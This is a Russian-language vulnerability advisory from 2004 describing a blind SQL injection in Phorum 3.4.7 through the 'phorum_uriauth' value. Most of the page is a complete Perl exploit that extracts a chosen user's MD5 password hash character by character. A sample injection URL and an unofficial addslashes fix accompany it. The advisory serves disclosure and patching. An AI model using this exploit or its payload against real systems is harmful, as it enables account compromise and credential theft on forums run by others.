Security Lab

SQL инъекция в 'include/userlogin.php' в Phorum

Дата публикации:19.04.2004
Всего просмотров:2084
Опасность:
Высокая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: Phorum 3.4.7

Описание: Уязвимость обнаружена в Phorum. Удаленный пользователь может внедрить произвольные SQL команды.

SQL инъекция обнаружена в 'include/userlogin.php' сценарии в 'phorum_uriauth' переменной:

http://localhost/phorum347/list.php?f=1&phoru m_uriauth=
waraxe%2527%20AND%20mid(password,2,1)=3/*:foobar

Пример/Эксплоит:

###################################################################################
# Sql injection exploit for Phorum 3.4.7                                                            #
#                                                                                                   #
# For details look at http://www.waraxe.us/index.php?modname=sa&id=19                               #
#                                                                                                   #
#                                                                                                   #
####################################################################################

$remote = 'localhost';  # hostname of the target
$port = 80;             # port number, usually 80
$url = '/phorum347';    # path to Phorum, without ending "/"
$username = 'test';     # username, who's info we will pull out

#-----------------------------------------------------------------------------------


use IO::Socket;
@chars = ('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$data = '';
$md5hash = '';
$url .= '/list.php?f=1';

for($nr=1;$nr<33;$nr++)
{
    for($cnt=0;$cnt<16;$cnt++)
    {
        $charx = @chars[$cnt];
        $uriauth = "$username%2527%20AND%20MID(password," . $nr . ',1)=%2527' . $charx .'%2527/*';
        $cookie = "phorum_uriauth=$uriauth";
        
        $data = MakeGetRequest($remote, $url ,$cookie);
        $match = isMatch($data);

        $logline = "pos --> " . $nr . " ,char for test --> " . $charx . "  --> " . $match;
        print $logline . "\n";

        if($match == 1)
        {
            $md5hash .= @chars[$cnt];
            $logline = "current md5hash --> " . $md5hash;
            print $logline . "\n";
            break;
        }
    }
}

$logline = "Final md5hash --> " . $md5hash;
print $logline . "\n";
exit();




sub MakeGetRequest()
{
    $socket = IO::Socket::INET->new(PeerAddr => $remote,
                PeerPort => $port,
                Proto => "tcp",
                Type => SOCK_STREAM)
                or die "Couldnt connect to $remote:$port : $@\n";
    $str = "GET " . $url . " HTTP/1.0\r\n";
    print $socket $str;
    print $socket "Cookie: $cookie\r\n";
    print $socket "Host: $remote\r\n\r\n";

    $buff = "";
    while ($answer = <$socket>)
        {
                $buff .= $answer;
         }
    close($socket);
    return $buff;
}


sub isMatch($data)
{
    $idx1 = index($data,"<a href=\"login.php?logout=1");
    
    if($idx1 > -1)
    {
        $bingo = 1;
    }
    else
    {
        $bingo = 0;
    }
    
    return $bingo;
}

URL производителя: http://www.phorum.org/

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время. Установите неофициальное испраление:

$phorum_uriauth = addslashes(urldecode($phorum_uriauth));
Ссылки: [waraxe-2004-SA#019 - Critical sql injection bug in Phorum 3.4.7]